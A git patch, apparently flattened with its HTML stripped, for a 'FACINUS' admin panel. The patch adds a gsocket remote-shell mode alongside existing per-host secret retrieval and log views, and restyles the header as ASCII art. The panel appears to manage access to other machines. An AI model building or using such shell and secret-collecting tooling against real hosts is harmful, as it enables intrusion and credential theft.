From 84d7f748cf21ccbcfbdf7b0c8136834c92b195a1 Mon Sep 17 00:00:00 2001 From: Amoelle Date: Sun, 6 Apr 2025 23:47:22 +0300 Subject: [PATCH] oh shit, everything was broken for whole time, i just noticed it and broke everything even worse. Updated design --- web/admin.php | 1108 ++++++++++++++++++++++++---------------------- web/index.html | 345 ++++++--------- web/web_setup.sh | 215 --------- 3 files changed, 713 insertions(+), 955 deletions(-) diff --git a/web/admin.php b/web/admin.php index b4b973f..7306259 100644 --- a/web/admin.php +++ b/web/admin.php @@ -76,6 +76,12 @@ if ($authenticated && isset($_GET['secrets']) && $_GET['host']) { } } +// For gsocket shell access +$shell_mode = false; +if ($authenticated && isset($_GET['shell']) && $_GET['host']) { + $shell_mode = true; +} + // Get logs for a specific host if requested $host_logs = []; if ($authenticated && isset($_GET['host'])) { @@ -100,30 +106,18 @@ if ($authenticated && isset($_GET['host'])) { - FACINUS - Admin Panel + FACINUS - Admin -
-
-
-

FACINUS Admin Panel

- - Logout - -
-
-
-
+
+
+
+  █████▒▄▄▄       ▄████▄   ██▓ ███▄    █  █    ██   ██████ 
+▓██   ▒▒████▄    ▒██▀ ▀█  ▓██▒ ██ ▀█   █  ██  ▓██▒▒██    ▒ 
+▒████ ░▒██  ▀█▄  ▒▓█    ▄ ▒██▒▓██  ▀█ ██▒▓██  ▒██░░ ▓██▄   
+░▓█▒  ░░██▄▄▄▄██ ▒▓▓▄ ▄██▒░██░▓██▒  ▐▌██▒▓▓█  ░██░  ▒   ██▒
+░▒█░    ▓█   ▓██▒▒ ▓███▀ ░░██░▒██░   ▓██░▒▒█████▓ ▒██████▒▒
+ ▒ ░    ▒▒   ▓▒█░░ ░▒ ▒  ░░▓  ░ ▒░   ▒ ▒ ░▒▓▒ ▒ ▒ ▒ ▒▓▒ ▒ ░
+ ░       ▒   ▒▒ ░  ░  ▒    ▒ ░░ ░░   ░ ▒░░░▒░ ░ ░ ░ ░▒  ░ ░
+ ░ ░     ░   ▒   ░         ▒ ░   ░   ░ ░  ░░░ ░ ░ ░  ░  ░  
+             ░  ░░ ░       ░           ░    ░           ░  
+                 ░                                         
+
+ admin panel
+
+
+ + logout + +
+